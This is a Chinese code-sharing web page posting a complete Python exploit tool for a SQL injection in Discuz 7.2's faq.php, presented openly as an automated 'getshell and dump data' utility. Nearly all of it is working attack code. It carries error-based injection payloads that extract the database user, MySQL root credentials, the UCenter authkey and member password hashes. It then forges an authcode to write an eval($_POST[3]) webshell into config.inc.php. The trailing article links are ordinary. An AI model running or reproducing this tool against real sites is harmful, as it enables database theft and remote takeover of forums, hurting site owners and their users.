Python写的Discuz7.2版faq.php注入漏洞工具


Posted in Python onAugust 06, 2014

Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendRequest(url,para):
	try:
		data = urllib.urlencode(para)
		req=urllib2.Request(url,data)
		res=urllib2.urlopen(req,timeout=20).read()
	except Exception, e:
		print 'Exploit Failed!\n%s'%(e)
		exit(0);
	return res

def getTablePrefix(url):
	print 'Start GetTablePrefix...'
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res);
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].decode('hex')
	table_pre=table_pre[0:table_pre.index('_')]
	print 'Table_pre:%s'%(table_pre)
	return table_pre

def getCurrentUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para)
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1]
	print 'Current User:%s'%(table_pre)
	return table_pre

def getUcKey(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	res1=sendRequest(url,para1);
	key1=re.findall("Duplicate entry '(.*?)'",res)
	key2=re.findall("Duplicate entry '(.*?)'",res1)
	if len(key1)==0:
		print 'Get Uc_Key Failed!'
		return ''
	key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
	print 'uc_key:%s'%(key)
	return key

def getRootUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].split(' ')
	print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
	res=sendRequest(url,para);
	datas=re.findall("Duplicate entry '(.*?)'",res)
	if len(datas)==0:
		print 'Exploit Failed!'
		exit(0)
	cleandata=datas[0][:len(datas[0])-1]
	info=cleandata.split(' ')
	print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :
  if get_as_float:
    return time.time()
  else:
    return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
  ckey_length = 4
  key = hashlib.md5(key).hexdigest()
  keya = hashlib.md5(key[0:16]).hexdigest()
  keyb = hashlib.md5(key[16:32]).hexdigest()
  keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
  key_length = len(cryptkey)
  string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  string_length = len(string)
  result = ''
  box = range(0, 256)
  rndkey = dict()
  for i in range(0,256):
    rndkey[i] = ord(cryptkey[i % key_length])
  j=0
  for i in range(0,256):
    j = (j + box[i] + rndkey[i]) % 256
    tmp = box[i]
    box[i] = box[j]
    box[j] = tmp
  a=0
  j=0
  for i in range(0,string_length):
    a = (a + 1) % 256
    j = (j + box[a]) % 256
    tmp = box[a]
    box[a] = box[j]
    box[j] = tmp
    result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
  headers={'Accept-Language':'zh-cn',
  'Content-Type':'application/x-www-form-urlencoded',
  'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
  'Referer':url
  }
  tm = time.time()+10*3600
  tm="time=%d&action=updateapps" %tm
  code = urllib.quote(get_authcode(tm,key))
  url=url+"?code="+code
  data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data1,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "Exploit Falied"
  data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://aaa</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data2,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "error"

  try:
  	req=urllib2.Request(host+'/config.inc.php')
  	res=urllib2.urlopen(req,timeout=20).read()
  except Exception, e:
  	print 'GetWebshell Failed,%s'%(e)
   	return
  print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
	print 'DZ7.x Exp Code By iswin'
	if len(sys.argv)<3:
		print 'DZ7.x Exp Code By iswin\nusage:python dz7.py https://3water.com 10'
		exit(0)
	url=sys.argv[1]+'/faq.php'
	count=int(sys.argv[2])
	user=getCurrentUser(url)
	if user.startswith('root@'):
		getRootUser(url)
	uc_key=getUcKey(url)
	if len(uc_key)==64:
		print 'Start GetWebshell...'
		get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
	tb_pre=getTablePrefix(url)
	print 'Start DumpData...'
	for x in xrange(0,count):
		dumpData(url,tb_pre,x)
Python 相关文章推荐
python中使用smtplib和email模块发送邮件实例
Apr 22 Python
python实现在每个独立进程中运行一个函数的方法
Apr 23 Python
用Python实现一个简单的多线程TCP服务器的教程
May 05 Python
Python实现批量检测HTTP服务的状态
Oct 27 Python
Python连接SQLServer2000的方法详解
Apr 19 Python
python利用正则表达式排除集合中字符的功能示例
Oct 10 Python
Scrapy抓取京东商品、豆瓣电影及代码分享
Nov 23 Python
使用memory_profiler监测python代码运行时内存消耗方法
Dec 03 Python
python-Web-flask-视图内容和模板知识点西宁街
Aug 23 Python
python中property属性的介绍及其应用详解
Aug 29 Python
python实现读取类别频数数据画水平条形图案例
Apr 24 Python
python 实现表情识别
Nov 21 Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
用python删除java文件头上版权信息的方法
Jul 31 #Python
You might like
Zerg兵种介绍
2020/03/14 星际争霸
php执行sql语句的写法
2009/03/10 PHP
php实现的农历算法实例
2015/08/11 PHP
yii2中添加验证码的实现方法
2016/01/09 PHP
php判断用户是否关注微信公众号
2016/07/22 PHP
完美解决thinkphp唯一索引重复时出错的问题
2017/03/31 PHP
学习thinkphp5.0验证类使用方法
2017/11/16 PHP
[Web]防止用户复制页面内容和另存页面的方法
2009/02/06 Javascript
跨浏览器的 mouseenter mouseleave 以及 compareDocumentPosition的使用说明
2010/05/04 Javascript
style、 currentStyle、 runtimeStyle区别分析
2010/08/01 Javascript
AJAX分页的代码(后台asp.net)
2011/02/14 Javascript
js一般方法改写成面向对象方法的无限级折叠菜单示例代码
2013/07/04 Javascript
JS去掉第一个字符和最后一个字符的实现代码
2014/02/20 Javascript
JavaScript设计模式之装饰者模式介绍
2014/12/28 Javascript
Jquery异步提交表单代码分享
2015/03/26 Javascript
详解JavaScript实现设计模式中的适配器模式的方法
2016/05/18 Javascript
基于Vue 2.0 监听文本框内容变化及ref的使用说明介绍
2018/08/24 Javascript
Vue源码探究之虚拟节点的实现
2019/04/17 Javascript
vue 查看dist文件里的结构(多种方式)
2020/01/17 Javascript
javascript实现点击产生随机图形
2021/01/25 Javascript
python对html代码进行escape编码的方法
2015/05/04 Python
Python selenium 三种等待方式详解(必会)
2016/09/15 Python
Python基于Matplotlib库简单绘制折线图的方法示例
2017/08/14 Python
Python读取excel中的图片完美解决方法
2018/07/27 Python
python画图把时间作为横坐标的方法
2019/07/07 Python
windows安装TensorFlow和Keras遇到的问题及其解决方法
2019/07/10 Python
pytorch中的自定义数据处理详解
2020/01/06 Python
利用PyQt中的QThread类实现多线程
2020/02/18 Python
html5使用canvas画空心圆与实心圆
2014/12/15 HTML / CSS
俄罗斯街头服装品牌:Black Star Wear
2017/03/01 全球购物
市场营销专科应届生求职信
2013/11/24 职场文书
建筑系毕业生自我鉴定
2014/01/24 职场文书
趣味体育活动方案
2014/02/08 职场文书
教师年度考核个人总结
2015/02/12 职场文书
法院个人总结
2015/03/03 职场文书
Python集合set()使用的方法详解
2022/03/18 Python